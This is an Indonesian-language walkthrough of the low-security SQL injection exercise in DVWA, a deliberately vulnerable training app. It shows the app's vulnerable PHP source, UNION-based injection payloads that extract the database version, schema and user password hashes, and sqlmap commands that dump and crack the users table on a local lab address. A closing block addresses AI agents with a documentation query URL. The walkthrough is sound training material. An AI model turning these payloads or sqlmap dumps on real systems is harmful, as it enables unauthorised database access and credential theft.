# Low

Di bawah ini adalah *source-code* dari *SQL Injection* level low di DVWA.

```php
vulnerabilities/sqli/source/low.php
<?php
​
if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];
​
    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
    mysqli_close($GLOBALS["___mysqli_ston"]);
}
​
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Terdapat form yang digunakan untuk memasukkan User ID. Jika saya coba inputkan '`1`', maka akan muncul seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JlZ-WsS0hZgRz1-3F%2Fimage.png?alt=media\&token=1a0eafde-7587-4f39-9689-d811bd05ff80)

Untuk mencari tahu apakah form ini memiliki celah *SQL Injection*, kita bisa mencobanya dengan meng-inputkan kutip satu (`'`) .

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JmC7AhSV9VS_969t9%2Fimage.png?alt=media\&token=617e3cbc-35a1-4701-aac1-2edaea5ac193)

Dan hasilnya akan terdapat error. Ini berarti kita bisa melakukan *SQL Injection*.

Jika anda bertanya kenapa hasilnya bisa error? Jawabanya adalah karena ketika kita menginputkan kutip satu, maka *query* yang dijalankan oleh server akan seperti berikut:

```sql
SELECT first_name, last_name FROM users WHERE user_id = ''';
```

Terlihat bahwa ada kutip satu yang tidak memiliki pasangannya, sehingga membuat *query* menjadi *error*.

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Setelah ditentukan terdapat celah keamanan, kita coba inputkan *payload* berikut:

```sql
%' or '0' = '0
```

Sehingga hasil *query* yang dijalankan server adalah:

```sql
SELECT first_name, last_name FROM users WHERE user_id = '%' or '0' = '0';
```

Ini akan mengakibatkan semua *record* tersedia pada tabel tersebut akan ditampilkan.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JparOoW_kBP8Anglm%2Fimage.png?alt=media\&token=74ca2e8d-3ea1-4312-bd88-29b05c04e3c1)

### Melihat Versi DBMS <a href="#melihat-versi-dbms" id="melihat-versi-dbms"></a>

Kita juga bisa memodifikasi *payload*-nya. Contohnya seperti berikut untuk melihat informasi versi DBMS yang digunakan.

```sql
%' or 0=0 union select null, version() #
```

Tanda`#` pada sql berfungsi untuk membuat komentar.

Sehingga hasil *query* yang dijalankan server adalah:

```sql
SELECT first_name, last_name FROM users WHERE user_id = '%' or 0=0 union select null, version() #';
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-Jr4Lk6GnPvnU5Sf5l%2Fimage.png?alt=media\&token=f89697c0-7c93-4872-840b-85956e9d331c)

Terlihat bahwa DBMS yang dipakai adalah MariaDB versi 10.1.26.

### Melihat Tabel yang mengandung kata 'user' <a href="#melihat-tabel-yang-mengandung-kata-user" id="melihat-tabel-yang-mengandung-kata-user"></a>

```sql
%' or 0=0 UNION SELECT null, table_name FROM INFORMATION_SCHEMA.tables WHERE table_name LIKE 'user' #
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M04-mxYsCO8P9aLPSLv%2Fimage.png?alt=media\&token=bc0e93d3-8087-4e73-9d51-952e0000c174)

### Melihat Kolom dari Tabel 'users' <a href="#melihat-kolom-dari-tabel-users" id="melihat-kolom-dari-tabel-users"></a>

```sql
%' UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users'#
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M040DmosJgz2rd_6EJs%2Fimage.png?alt=media\&token=13961fc8-b7f2-4a4c-bd09-a198d45e9f51)

### Mendapatkan users dan password <a href="#mendapatkan-users-dan-password" id="mendapatkan-users-dan-password"></a>

```
%' UNION SELECT null, concat(user,0x0a,password) FROM users#
```

**0x0a** pada hexadesimal berarti **10**, dan jika dirubah menjadi ASCII berarti *newline* (lihat [di sini](http://www.asciitable.com/)).![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M03ugQbn0UKpwhQlRDe%2F-M041TxjJ8HrI0E2h0cv%2Fimage.png?alt=media\&token=3eedd61b-b439-4df8-82f1-e73f1556f3e7)

### Menggunakan SQLMap <a href="#menggunakan-sqlmap" id="menggunakan-sqlmap"></a>

Jika kalian tidak mau bingung dengan *query* di atas, kita bisa menggunakan tool [SQLMap](https://github.com/sqlmapproject/sqlmap).

Pertama-tama kita tentukan terlebih dahulu method yang digunakan. Pada kasus ini, method yang digunakan adalah `GET`. Dan *endpoint* pada kasus ini adalah:

```http
http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#
```

**Cek database yang tersedia:**

Langsung saja kita jalankan SQLMap seperti berikut untuk mencari tahu database yang tersedia:

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" --dbs
```

Keterangan:

* `-u` digunakan untuk menentukan URL atau *endpoint*.
* `--cookie` digunakan untuk menetukan *cookie*.
* `--dbs` digunakan untuk melihat database yang tersedia.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JwOC6iuBZn2ezeIKD%2Fimage.png?alt=media\&token=cc6e162d-22b0-4319-a4fc-9dd14f878512)

Hasilnya terdapat 2 database yang tersedia, yaitu **dvwa** dan **information\_schema**.

**Cek daftar tabel dari database dvwa:**

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa --tables
```

Keterangan:

* `-D` digunakan untuk menentukan database.
* `--tables` untuk melihat daftar tabel dari database (`-D`).

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JxVXlcJOCks7JZG6e%2Fimage.png?alt=media\&token=38723a18-1a16-4e18-b9f3-1e66c05172ec)

Terdapat 2 tabel, yaitu **guestbook** dan **users**.

#### Cek kolom yang tersdia pada tabel users: <a href="#cek-kolom-yang-tersdia-pada-tabel-users" id="cek-kolom-yang-tersdia-pada-tabel-users"></a>

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --columns
```

Keterangan:

* `-T` adalah tabel yang digunakan dari database `-D`.
* `--columns` adalah mencari kolom yang tersedia pada tabel `-T`.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-JyVflxHQRUDchGigl%2Fimage.png?alt=media\&token=82be35e7-9e65-482a-846f-838dfe5a19f1)

Terlihat ada beberapa kolom yang tersedia, oke kita lanjut dengan melakukan *dump* pada data tersebut.

**Dump tabel users:**

```bash
sqlmap -u 'http://172.17.0.2/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie "PHPSESSID=qehkul5i897soktsniinft21s3; security=low" -D dvwa -T users --dump
```

Keterangan:

* `--dump` akan meng-crack password yang di-hash. Anda akan ditanya apakah akan menggunakan *dictionary* yang ada di SQLMap atau *dictionary* kita sendiri.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-J94vxktOqlo6VTFWA%2F-M-K-5javHjjePkOfanK%2Fimage.png?alt=media\&token=d5757148-dc33-4539-9c6d-4596e6db3a7f)

Dan hasil nya adalah seperti gambar di atas.

Happy Hacking! 🍻[<br>](https://n3wbye.gitbook.io/dvwa/sql-injection/pengenalan)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.anggipradana.com/tutorial/dvwa/sql-injection/non-blind/low.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
